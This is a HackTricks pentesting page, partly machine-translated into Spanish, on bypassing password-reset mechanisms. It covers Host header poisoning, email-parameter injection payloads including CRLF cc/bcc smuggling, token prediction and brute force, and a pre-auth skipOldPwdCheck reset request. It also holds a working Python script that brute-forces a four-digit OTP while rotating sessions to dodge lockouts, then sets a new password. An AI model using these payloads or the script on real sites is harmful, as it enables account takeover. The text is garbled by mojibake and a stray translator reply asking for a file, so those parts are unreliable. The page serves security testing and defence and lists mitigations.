Reset/Forgotten Password Bypass
Reading time: 11 minutes
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripci贸n!
- 脷nete al 馃挰 grupo de Discord o al grupo de telegram o s铆guenos en Twitter 馃惁 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Password Reset Token Leak Via Referrer
- The HTTP referer header may leak the password reset token if it's included in the URL. Esto puede ocurrir cuando un usuario hace clic en un enlace de un sitio web de terceros despu茅s de solicitar un restablecimiento de contrase帽a.
- Impacto: Posible takeover de la cuenta mediante ataques Cross-Site Request Forgery (CSRF).
- Explotaci贸n: Para comprobar si un password reset token se est谩 leaking en el referer header, solicita un password reset a tu direcci贸n de correo y haz clic en el reset link proporcionado. No cambies tu password inmediatamente. En su lugar, navega a un sitio web de terceros (como Facebook o Twitter) mientras interceptas las peticiones usando Burp Suite. Inspecciona las peticiones para ver si el referer header contiene el password reset token, ya que esto podr铆a exponer informaci贸n sensible a terceros.
- Referencias:
- HackerOne Report 342693
- HackerOne Report 272379
- Password Reset Token Leak Article
Password Reset Poisoning
- Los atacantes pueden manipular el Host header durante las peticiones de password reset para apuntar el reset link a un sitio malicioso.
- Impacto: Conduce a una posible takeover de cuentas al leaking reset tokens a los atacantes.
- Pasos de mitigaci贸n:
- Valida el Host header contra una whitelist de dominios permitidos.
- Usa m茅todos seguros del lado servidor para generar absolute URLs.
- Patch: Usa
$_SERVER['SERVER_NAME']
para construir password reset URLs en lugar de$_SERVER['HTTP_HOST']
. - Referencias:
- Acunetix Article on Password Reset Poisoning
Password Reset By Manipulating Email Parameter
Los atacantes pueden manipular la petici贸n de password reset a帽adiendo par谩metros de email adicionales para desviar el reset link.
- A帽adir el email del atacante como segundo par谩metro usando &
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
- Agregar attacker email como segundo par谩metro usando %20
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
- A帽adir el correo electr贸nico del atacante como segundo par谩metro usando |
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
- A帽ade el correo electr贸nico del atacante como segundo par谩metro usando cc
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
- A帽adir attacker email como segundo par谩metro usando bcc
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
- A帽adir attacker email como segundo par谩metro usando ,
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
Necesito el contenido del archivo o el fragmento JSON que quieres modificar para poder traducirlo y a帽adir el email del atacante como segundo par谩metro en el array JSON. 驴Puedes pegar aqu铆 el texto o el bloque de c贸digo?
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}
- Pasos de mitigaci贸n:
- Analizar y validar correctamente los par谩metros de correo electr贸nico en el servidor.
- Usar prepared statements o parameterized queries para prevenir ataques de inyecci贸n.
- Referencias:
- https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be
- https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/
- https://twitter.com/HusseiN98D/status/1254888748216655872
Cambio de correo electr贸nico y contrase帽a de cualquier usuario mediante par谩metros de la API
- Los atacantes pueden modificar los par谩metros de correo electr贸nico y contrase帽a en las solicitudes de la API para cambiar las credenciales de la cuenta.
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})
- Pasos de mitigaci贸n:
- Asegurar una validaci贸n estricta de par谩metros y comprobaciones de autenticaci贸n.
- Implementar logging y monitoreo robustos para detectar y responder a actividades sospechosas.
- Referencia:
- Full Account Takeover via API Parameter Manipulation
No Rate Limiting: Email Bombing
- La falta de rate limiting en las solicitudes de password reset puede llevar a email bombing, abrumando al usuario con correos de reset.
- Pasos de mitigaci贸n:
- Implementar rate limiting basado en direcci贸n IP o en la cuenta de usuario.
- Usar desaf铆os CAPTCHA para prevenir abuso automatizado.
- Referencias:
- HackerOne Report 280534
Find out How Password Reset Token is Generated
- Entender el patr贸n o m茅todo detr谩s de la generaci贸n del Password Reset Token puede permitir predecirlo o hacer brute-force. Algunas opciones:
- Based Timestamp
- Based on the UserID
- Based on email of User
- Based on Firstname and Lastname
- Based on Date of Birth
- Based on Cryptography
- Pasos de mitigaci贸n:
- Usar m茅todos criptogr谩ficos fuertes para la generaci贸n de tokens.
- Asegurar suficiente aleatoriedad y longitud para prevenir predictibilidad.
- Herramientas: Usar Burp Sequencer para analizar la aleatoriedad de los tokens.
Guessable UUID
- Si los UUIDs (version 1) son adivinables o previsibles, los atacantes pueden brute-forcearlos para generar reset tokens v谩lidos. Revisa:
- Pasos de mitigaci贸n:
- Usar GUID version 4 para mayor aleatoriedad o implementar medidas adicionales de seguridad para otras versiones.
- Herramientas: Usar guidtool para analizar y generar GUIDs.
Response Manipulation: Replace Bad Response With Good One
- Manipular respuestas HTTP para eludir mensajes de error o restricciones.
- Pasos de mitigaci贸n:
- Implementar comprobaciones server-side para asegurar la integridad de las respuestas.
- Usar canales de comunicaci贸n seguros como HTTPS para prevenir man-in-the-middle.
- Referencia:
- Critical Bug in Live Bug Bounty Event
Using Expired Token
- Probar si tokens expirados a煤n pueden usarse para el password reset.
- Pasos de mitigaci贸n:
- Implementar pol铆ticas estrictas de expiraci贸n de tokens y validar la expiraci贸n server-side.
Brute Force Password Reset Token
- Intentar brute-force del reset token usando herramientas como Burpsuite y IP-Rotator para evadir rate limits basados en IP.
- Pasos de mitigaci贸n:
- Implementar rate-limiting robusto y mecanismos de bloqueo de cuenta.
- Monitorizar actividades sospechosas indicativas de ataques de fuerza bruta.
Try Using Your Token
- Probar si el reset token de un atacante puede usarse junto con el email de la v铆ctima.
- Pasos de mitigaci贸n:
- Asegurar que los tokens est茅n vinculados a la sesi贸n del usuario u otros atributos espec铆ficos del usuario.
Session Invalidation in Logout/Password Reset
- Asegurar que las sesiones se invaliden cuando un usuario hace logout o resetea su password.
- Pasos de mitigaci贸n:
- Implementar una gesti贸n de sesiones correcta, asegurando que todas las sesiones se invaliden al hacer logout o al resetear la contrase帽a.
Session Invalidation in Logout/Password Reset
- Los reset tokens deben tener un tiempo de expiraci贸n despu茅s del cual se vuelven inv谩lidos.
- Pasos de mitigaci贸n:
- Establecer un tiempo de expiraci贸n razonable para los reset tokens y aplicarlo estrictamente server-side.
OTP rate limit bypass by changing your session
- Si el sitio usa la sesi贸n de usuario para rastrear intentos fallidos de OTP y el OTP es d茅bil (<= 4 d铆gitos) entonces podemos efectivamente brute-forcear el OTP.
- exploitation:
- simplemente solicitar un nuevo session token despu茅s de ser bloqueado por el servidor.
- Example code that exploits this bug by randomly guessing the OTP (when you change the session the OTP will change as well, and so we will not be able to sequentially bruteforce it!):
# Authentication bypass by password reset
# by coderMohammed
import requests
import random
from time import sleep
headers = {
"User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1",
"Cookie": "PHPSESSID=mrerfjsol4t2ags5ihvvb632ea"
}
url = "http://10.10.12.231:1337/reset_password.php"
logout = "http://10.10.12.231:1337/logout.php"
root = "http://10.10.12.231:1337/"
parms = dict()
ter = 0
phpsessid = ""
print("[+] Starting attack!")
sleep(3)
print("[+] This might take around 5 minutes to finish!")
try:
while True:
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # random number from 0 - 9999 with 4 d
parms["s"] = 164 # not important it only efects the frontend
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)
if ter == 8: # follow number of trails
out = requests.get(logout,headers=headers) # log u out
mainp = requests.get(root) # gets another phpssid (token)
cookies = out.cookies # extract the sessionid
phpsessid = cookies.get('PHPSESSID')
headers["cookies"]=f"PHPSESSID={phpsessid}" #update the headers with new session
reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # sends the email to change the password for
ter = 0 # reset ter so we get a new session after 8 trails
else:
ter += 1
if(len(res.text) == 2292): # this is the length of the page when u get the recovery code correctly (got by testing)
print(len(res.text)) # for debug info
print(phpsessid)
reset_data = { # here we will change the password to somthing new
"new_password": "D37djkamd!",
"confirm_password": "D37djkamd!"
}
reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers)
print("[+] Password has been changed to:D37djkamd!")
break
except Exception as e:
print("[+] Attck stopped")
Arbitrary password reset via skipOldPwdCheck (pre-auth)
Some implementations expose a password change action that calls the password-change routine with skipOldPwdCheck=true and does not verify any reset token or ownership. If the endpoint accepts an action parameter like change_password and a username/new password in the request body, an attacker can reset arbitrary accounts pre-auth.
Vulnerable pattern (PHP):
// hub/rpwd.php
RequestHandler::validateCSRFToken();
$RP = new RecoverPwd();
$RP->process($_REQUEST, $_POST);
// modules/Users/RecoverPwd.php
if ($request['action'] == 'change_password') {
$body = $this->displayChangePwd($smarty, $post['user_name'], $post['confirm_new_password']);
}
public function displayChangePwd($smarty, $username, $newpwd) {
$current_user = CRMEntity::getInstance('Users');
$current_user->id = $current_user->retrieve_user_id($username);
// ... criteria checks omitted ...
$current_user->change_password('oldpwd', $_POST['confirm_new_password'], true, true); // skipOldPwdCheck=true
emptyUserAuthtokenKey($this->user_auth_token_type, $current_user->id);
}
Solicitud de explotaci贸n (concepto):
POST /hub/rpwd.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd!
Mitigations:
- Siempre exige un reset token v谩lido y limitado en el tiempo, vinculado a la account y al session antes de cambiar la contrase帽a.
- Nunca expongas las rutas skipOldPwdCheck a usuarios no autenticados; exige autenticaci贸n para cambios de contrase帽a normales y verifica la contrase帽a anterior.
- Invalida todas las sessions activas y los reset tokens despu茅s de un cambio de contrase帽a.
Referencias
- https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token
- https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripci贸n!
- 脷nete al 馃挰 grupo de Discord o al grupo de telegram o s铆guenos en Twitter 馃惁 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.